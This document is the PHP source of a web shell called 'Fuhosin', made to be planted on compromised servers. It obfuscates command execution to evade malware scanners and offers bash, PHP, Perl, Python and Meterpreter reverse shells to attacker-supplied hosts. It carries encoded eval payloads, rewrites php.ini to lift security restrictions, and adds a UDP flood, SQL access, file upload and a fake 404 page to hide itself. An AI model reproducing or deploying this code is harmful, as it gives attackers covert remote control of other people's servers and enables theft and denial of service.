$sockets[0][0], 1 => $sockets[1][0], 2 => $sockets[2][0], ), $pipes, null, null, array('bypass_shell' => true)); if (is_resource($process)) { echo "Process $command opened successfully, multiplexing..."; $running = true; foreach(array($sockets[1][1], $sockets[2][1]) as $k => $pipe) { stream_set_blocking($pipe, false); } $socket_int = intval($socket); $stdin = $sockets[0][1]; while($running) { $reads = array($socket, $sockets[1][1], $sockets[2][1]); $write = $excepts = null; if (false === ($act = stream_select($reads, $writes, $excepts, 1))) { $running = false; } elseif ($act > 0) { print_r($reads); foreach($reads as $skt) { $skt_int = intval($skt); $buf = fread($skt, 4096); if (empty($buf)) { $running = false; break; } elseif ($skt_int === $socket_int) { safe_write($stdin, $buf); } else { safe_write($socket, $buf); } } } } proc_close($process); } } function connectToSocat($host, $port, $command) { $fp = stream_socket_client("tcp://$host:$port", $errno, $errstr, 30); if(!$fp) { echo "Error $errstr ($errno)\n"; } else { shellToSocketViaSelect($fp, $command); } } function safe_write($socket, $buf) { stream_set_blocking($socket, true); fwrite($socket, $buf); stream_set_blocking($socket, false); } function handleError($errno, $errstr, $errfile, $errline, $errcontext) { if (0 === error_reporting()) { return false; } $GLOBALS["results"] .= "Err: ".strip_tags($errstr)."\n"; } set_error_handler('handleError'); //Lazy error handling function windows() { $dir = getcwd(); if(strlen($dir)>1 && $dir[1]==":") { return 1; } else return 0; } function error404(){ if (strpos($_SERVER['SERVER_SOFTWARE'], 'mod_fastcgi') === FALSE || strpos($_SERVER["SERVER_SOFTWARE"], 'mod_fcgi') === FALSE) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); } else { header('Status: 404 Not Found'); } echo ' 404 Not Found

Not Found

The requested URL ',$_SERVER['PHP_SELF'],' was not found on this server.

'; die; } function rblcheck($host) { $lookup = implode('.', array_reverse(explode('.', $host))) . ".80.0.39.194.173.ip-port.exitlist.torproject.org"; if (strstr(gethostbyname($lookup), "127.0.0")) { return $rbl; } return false; } function truncate($string, $max = 20, $replacement = '') { if (strlen($string) <= $max) return $string; $leave = $max - strlen ($replacement); return substr_replace($string, $replacement, $leave); } function whoami() { $uid = suhosin_func_exists("posix_geteuid") ? posix_geteuid() : getmyuid(); $gid = suhosin_func_exists("posix_getegid") ? posix_getegid() : getmygid(); if (suhosin_func_exists("posix_getpwuid") && suhosin_func_exists("posix_geteuid")) { $user = posix_getpwuid(posix_geteuid()); $user = $user["name"]; } else $user = get_current_user(); if ($user == "root") $user = "root"; return "uid: $uid($user) gid: $gid\n"; } function shit64_decode($in){ $in = substr($in, 0, -4); return $GLOBALS["nintendosixtyfour"]($in); } function print_page($results, $sqlhost, $sqldb, $sqluser, $sqlpass, $sqlquery, $focusid, $sshport) { $version = "1.9"; $versionstring = "Fuhosin v$version"; //page $page = << TITLE
Uname:
User:
MQuotes:
Cwd:
Path:
Disable:
Suhosin:
UNAME
USER
MAGICQUOTES Safemode: SAFEMODE
CWD
PATH
DISABLEFUNCTIONS
SUHOSIN

VERSIONSTRING

RESULTS
Exec

SQL:

Upload file:
Download:
UDP Flood
Eval
Connect-back shell
Edit File
EOD; ?> "; } else { $results = ""; } $page = str_replace("TITLE", $versionstring, $page); $page = str_replace("UNAME", php_uname(), $page); $page = str_replace("USER", whoami(), $page); $page = str_replace("CWD", getcwd(), $page); $page = str_replace("DISABLEFUNCTIONS", @ini_get("\x64is\x61bl\x65_fun\x63tions"), $page); $page = str_replace("SUHOSIN", @ini_get("suhosin.ex\x65cutor.func.bl\x61cklist"), $page); $page = str_replace("PATH", truncate(@getenv("PATH"), 100, '...'), $page); $page = str_replace("SAFEMODE", safemode(), $page); $page = str_replace("MAGICQUOTES", $mquotesstring, $page); $page = str_replace("PHPSELF", $phpself, $page); $page = str_replace("VERSIONSTRING", $versionstring, $page); $page = str_replace("SQLHOST", $sqlhost, $page); $page = str_replace("SQLDB", $sqldb, $page); $page = str_replace("SSHPORT", $sshport, $page); $page = str_replace("SQLUSR", $sqluser, $page); $page = str_replace("SQLPASS", $sqlpass, $page); $page = str_replace("SQLQUERY", "", $page); $page = str_replace("FOCUSID", $focusid, $page); $page = str_replace("RESULTS", $results, $page); echo $page; } function rstr() { $len=rand(3,6); $chr=''; for($i=1;$i<=$len;$i++) { $chr.=rand(0,1) ? chr(rand(65,90)) : chr(rand(97,122)); } return $chr; } function bash_reverse($ip, $port) { $rstr = rstr(); $bash = "mkfifo /tmp/.$rstr; \x73h -i < /tmp/.$rstr | nc $ip $port > /tmp/.$rstr; rm /tmp/.$rstr"; normal_exe($bash); } function php_reverse($ip, $port) { $sock=fsockopen($ip,$port); normal_exe("/bin/\x73h -i <&3 >&3 2>&3"); } function phptty_reverse($ip, $port) { connectToSocat($ip,$port,"/bin/bash -i"); } function chippy_reverse($ip,$port) { $chsh = "rVZtb9owEP7Or7hkm+KILNBu6rZMSLRdp1ZtoWrRpAnQFBJTogY7ipNSuq2/fWebEEJo96WXgB/fyxP7uHOI5glPMxA8uKOZA1w4EPD53GchoiRbOiCWiASNaZA1qAigA9Y7MbTeBbOU7H+yGwGPeYpaaWuCuff1w8HcbKRU0KzUtlHliyCKUKUC3ryyrNibHQugq0WOalJ8uoWiW7FsmAG2vUbpiFmb7Ia0Sul2jSLUqE7WwCjY1/4bowQ72AujoS8wjK6cKFwCMMpRqg3Dg3LUsL52z1ixKzd0VmAdswZraKwCCosaXT2rsYPnqRvkDZ66QE+gAsD11gpPB5Xjyq3OviFPQ4AruIYz+AGfAY6hDz28ThAN0HwEh4jOEd3AKWov8ILx0wbBFjuoan3lilw9qhHSKQSzKEmWYkbjmMy4yBzZdLbXKNYj2w87Q3ehqwdir81Zuix9C3834IxhUxLQlBCxjCheG8pQ+hDQJPMg8YUolbGgVcIkxWgwQ86oWTHIR+Op4GJ+UppHIWk7bbvisfMJUnLmz6nqd32euLc043mW5Bkxte29b1a5ovAZ/yjc8kyi0JFpjcOrlAdUCAzE48qd8vSO2FBlnUp36HSgXd31OpWCspCoarBfcFCLbpqyeMxmFK5QPQLThYum7J6Yp2c3g+9nFyemY7ZCet9ieRz/J6J/id5c7T5YhMR+0fvqcHBqOlYrF2kr5oEft8QkYp6aa6S+raYmlDGWjLFeph2cXF8ibRyx/MF6eQE3e6ajTvSmZVmjvDuaeaPF6C3grKnaqh4ufyeR+AtGzBaurjXxxWxHUsrEP5do7THLs5Aj2d5WXdaKXMpk1Wbu3L+j0yimBDfT/3X9rd+7+PlH4V6/d3TRPz7fqiIp8u2HPtOQJ5SRzfJzLEzAjoglRvyeeIETeJO/NWutsQtZIDWFQZrv2EIhWOrAsOtXL2dXD2Q4cYKxM5S3PWyPvfqaNuVR7yilfkiYKxPCOLGdj+0vB/V8VzY2ZGN3kUYZJY879l1znca5mG13ppTK+bF5UOIfD9dPb++He2P1L0RP9sd24x8="; $chsh = $GLOBALS["nintendosixtyfour"]($chsh); $chsh = gzinflate($chsh); $file = wheres_the_fucking_tmp_dir() ."/".rstr(); $exe = "python $file $ip $port"; file_put_contents($file,$chsh); normal_exe($exe); unlink($file); } function perl_reverse($ip, $port) { // this may not work? $perlsh = "hZNtj5pAEMff8ynmuEuFRnx600TCpRaxkmvlAugbzxiUUTfFXcIuvZqm373Lgg/pQw4SZOb/25n/Duv9XbfkRXdDaDfHItNKjuAHw2HEtt9Q2NoDP3GBR5CXAy3FbRJ+aEllFH52nY/yubBBRYtlbyUpnSNNjwnJdLtJ91X6Eg7OYV4QKkD3pxF8GrlPlhvMZp4bq2AcBOELfaG6LE52YKh2d87AhJ+gSTfN2jlP9jiEhx4sp4yLFSyfWSF/zkslmRIE3fuhoP7gQ6cn7z4M+oM+1MwvUNtutlwHE5LhNKFphjLBlWJEgfvkxW14nqz9WfVSJdZRHHqjr23Yo8gLJtjmRJMjGi2xzVumCaxQBhq7S2sFc5psMgTBIETOsu8IlfPaypZRittrq6pzkqbFmlDjPMs2EIpinQh2zvVW5hud3LruTacz9n7V2CB0r+SZdF8ht0SzXCKdTgcu3/qvSlGevNKqUHTALIP/lMG0slTgkQmEg2xZg/WercekFGyXlfxgmLI6y5EaUTz2Z23QH9/VkH6rBPO4/W/FC8M/lLdOHFwOTn3uDb2kHOXc/Cie+F88G+o4Gi28Kmfj9sDAshwnUjyhO+Y4llVxco5gJYqwtQs351hcKZLW+kUek0JOiBWnWs9fGwCujarRViqoHTU+m/+paWv3XjDRfgM="; $perlsh = gzinflate($GLOBALS["nintendosixtyfour"]($perlsh)); $file = wheres_the_fucking_tmp_dir() ."/".rstr(); $exe = "perl $file $ip $port"; file_put_contents($file,$perlsh); normal_exe($exe); unlink($file); } function meterpreter_connect($ip,$port) { $meterpreter = "jZNBT+MwEIXv/IqpFWFHKmUPqz00W2kLKggRaEV7qyorMQ5EDU4Um0Wrqv+dGSdpC7toe7Nn3nzznqPoui5rWeuqrF1unsS3MIIgr2AEPJ7G8m6ykDczjjUSYLUrzqYPC6/MsDi+kjf3E7znGYircTyfQG80AuvqqrQCRX1gQxaGsGnZbMkG/jhgK/YZ8yOCrSeJgKocMTp5kbZUa+2kKnJtHA/h9BRyK1VSFElaaNQ2fIsjQSaYU9Xw/HyD6O1w491vGWWz0v2p9J7LaZsurD7YmNGustLmv2t8Nk8/lt3FwL7Tx/CzPsynl7dyvniYjO/oEsvF5Yz21ZpkvzpkaYxWTgS2Dx980fYeiYn8mGsRkq9Dtx6wc9uquCmh6UD2apTlYfdhesEOtRc1bfuWO/UMoqWTTCWI7F5kCEGhDS7N8ProvX7HwRRv66iTNrydtM33r4HODwo/hktw7tVUiVoLdo9d1vc0erUGGiRLjie+wkpKj4Dx357zQoNAq9gRQRrCT+jQRwRLYXCYiybP9qyvU/q5zyG/nN5SvOt4eoH/2ZK/2Cea5CuKZKO/O95t2/bnCPTvpCBm1L7Xyck7n"; $m = gzinflate($GLOBALS["nintendosixtyfour"]($meterpreter)); $m = str_replace("LOL_MET_IP",$ip,$m); $m = str_replace("LOL_MET_PORT",$port,$m); if(suhosin_func_exists(pcntl_fork)) { $pid = pcntl_fork(); // Fork if($pid == -1) { $GLOBALS["sorcery"]("/(.*)/e",$m,""); } elseif($pid) { $result .= "Meterpreter launched."; } else{ $GLOBALS["sorcery"]("/(.*)/e",$m,""); } } else { $result .= "Meterpreter launched."; $GLOBALS["sorcery"]("/(.*)/e",$m,""); } // FUCKING THING SUCKS WE'LL DO IT LIVE } function sql_query($host,$user,$pass,$db,$query) { $res = array(); $tryConnect = @mysql_connect($host,$user,$pass); if(!$tryConnect) { return 0; } $trySelect = @mysql_select_db($db); if(!$trySelect && $tryConnect) { return 0; } $sql = @mysql_query($query); while($line = @mysql_fetch_row($sql)) { $res[] = $line[0]; } return $res; } function stripslashes_deep($value) { if(is_array($value)) { $value = array_map('stripslashes_deep', $value); } elseif(!empty($value) && is_string($value)) { $value = stripslashes($value); } return $value; } function safemode() { // jacked from Syrian Shell $safe_mode = ini_get("saf\x65_mode"); if (!$safe_mode) { $safe_mode = 'off'; } else { $safe_mode = 'on'; // ...fuck } return $safe_mode; } function suhosin_func_exists($func) { if(in_array($func,array("include","include_once","require","require_once"))) return true; $dis = @ini_get('disable_functions') .','. @ini_get('suhosin.executor.func.blacklist'); if(@ini_get("safe_mode") != false) empty($dis) ? $dis = "passthru,popen,proc_open,shell_exec,exec,system" : $dis .= ",passthru,popen,proc_open,shell_exec,exec,system"; return in_array($func,explode(",",$dis)) === false? function_exists($func) : false; } function scan_dir($path = '.') { // kungfu for open_basedir, recursively scan until we find a writable dir if(is_writable($path)) return $path; // why did you even call this?! $ignore = array('.', '..'); $dh = @opendir($path); while(false !== ($file = readdir($dh))) { // make sure we arent backtracking if (!in_array($file, $ignore) && !is_dir("$path/$file") && is_writable("$path/$file")) { // fuck yeah we can write! closedir($dh); return "$path/$file"; } elseif(is_dir("$path/$file")) { return scan_dir("$path/$file"); } } closedir($dh); return 0; } function wheres_the_fucking_tmp_dir() { $tmp = sys_get_temp_dir(); $uploadtmp=ini_get('upload_tmp_dir'); $uf=getenv('USERPROFILE'); $af=getenv('ALLUSERSPROFILE'); $se=ini_get('session.save_path'); $envtmp=(getenv('TMP'))?getenv('TMP'):getenv('TEMP'); if(is_dir($tmp) && is_writable($tmp)) $ret = $tmp; // we prefer this over open_basedir shit else if(is_dir('/tmp') && is_writable('/tmp')) $ret = '/tmp'; else if(is_dir('/usr/tmp') && is_writable('/usr/tmp')) $ret = '/usr/tmp'; else if(is_dir('/var/tmp') && is_writable('/var/tmp')) $ret = '/var/tmp'; else if(is_dir($uploadtmp) && is_writable($uploadtmp)) $ret = $uploadtmp; else if(is_dir($uf) && is_writable($uf)) $ret = $uf; else if(is_dir($af) && is_writable($af)) $ret = $af; else if(is_dir($se) && is_writable($se)) $ret = $se; else if(is_dir($envtmp) && is_writable($envtmp)) $ret = $envtmp; else if(ini_get("open_b\x61sedir")) { $shit = scan_dir(ini_get("open_b\x61sedir")); if($shit) { $ret = $shit; } } else $ret = '.'; return $ret; } if (!suhosin_func_exists('file_put_contents')) { // because php4 is old and gay and fail function file_put_contents($file, $contents = '', $method = 'w') { $file_handle = fopen($file, $method); fwrite($file_handle, $contents); fclose($file_handle); return true; } } // Execute a command through "normal" methods, partially encoded to avoid malware scanners function normal_exe($cmd) { $result = ""; $cmd = "$cmd 2>&1"; $l1 = "\x65x\x65c"; $lI = "sh\x65ll_$l1"; $I1 = "\x73y\x73t\x65m"; $Il = "p\x61\x73\x73th\x72u";$ll="\x70\x6fp\x65n"; $II="proc_op\x65n"; $ffi = "ffi_$l1"; $prl = "perl_$l1"; $com = "com_$l1"; $py="python_\x65v\x61l"; $pc = "pcntl_$l1"; $sf = "suhosin_fun\x63_exi\x73ts"; if (!empty($cmd)) { if ($sf($l1)) {$l1($cmd,$result); $result = join("\n",$result); } //play to the music elseif ($sf($lI)) $result = $lI($cmd); //play to the music elseif ($sf($I1)) {@ob_start(); $I1($cmd); $result = @ob_get_contents(); @ob_end_clean();}//play to the music elseif ($sf($Il)) {@ob_start(); $Il($cmd); $result = @ob_get_contents(); @ob_end_clean();}//play to the music! elseif ($sf($ll)) { //play to the music!! if (is_resource($fp = popen($cmd,"r"))) { $result = ""; while(!feof($fp)) {$result .= fread($fp,1024);} pclose($fp); } } elseif ($sf($II)) { //play to the music!!! $descriptorspec = array( 0 => array("pipe","r"), 1 => array("pipe","w"), 2 => array("pipe","w") ) ; $process = $II($cmd, $descriptorspec, $pipes, './'); $result = stream_get_contents($pipes[1]); fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]); } elseif(extension_loaded('python')) $result = $py("import os; os.$I1('$cmd')"); elseif(extension_loaded('perl')) $result = $prl($cmd); elseif ($sf("pcntl_$l1") && $sf("pcntl_fork")) { // This is disabled in Debian's CGI PHP, dunno about CentOS. Very doubtful this will work. $tmpdir = wheres_the_fucking_tmp_dir(); $rstr = rstr(); $pid = pcntl_fork(); // Fork if($pid == -1) { $result = ""; } // failed to fork, result is blank, you lose. elseif($pid) { pcntl_wait($status); $result = file_get_contents("$tmpdir/$rstr"); unlink("$tmpdir/$rstr"); } // wait for output and return it else $pc("/bin/\x73h", array("-c","$cmd > $tmpdir/fuhosin")); // exec } elseif(extension_loaded('ffi'))$result=$ffi($cmd); // Windows exec bypass, DOES NOT WORK ON PHP4! elseif(class_exists("COM")) $result = $com($cmd); // Windows exec bypass 2, DOES NOT WORK ON PHP4! } return $result; } function write_ini() { // Bypass #1: rewrite php.ini $ini = "disable_fun\x63tions = hack,the,planet magic_quotes_gpc = off safe_mode = off suhosin.executor.func.blacklist = hack,the,planet"; if(!file_exists('php.ini')) { file_put_contents("php.ini",$ini); } } function wtf($code) { @ob_start(); $GLOBALS["sorcery"]("/(.*)/e",$code,""); $result = @ob_get_contents(); @ob_end_clean(); return $result; } function write_cgish() { $htaccess = "Options +ExecCGI DirectoryIndex fuhosin.xx AddH\x61ndler cgi-script .xx"; $lsdshell = gzinflate($GLOBALS["nintendosixtyfour"]("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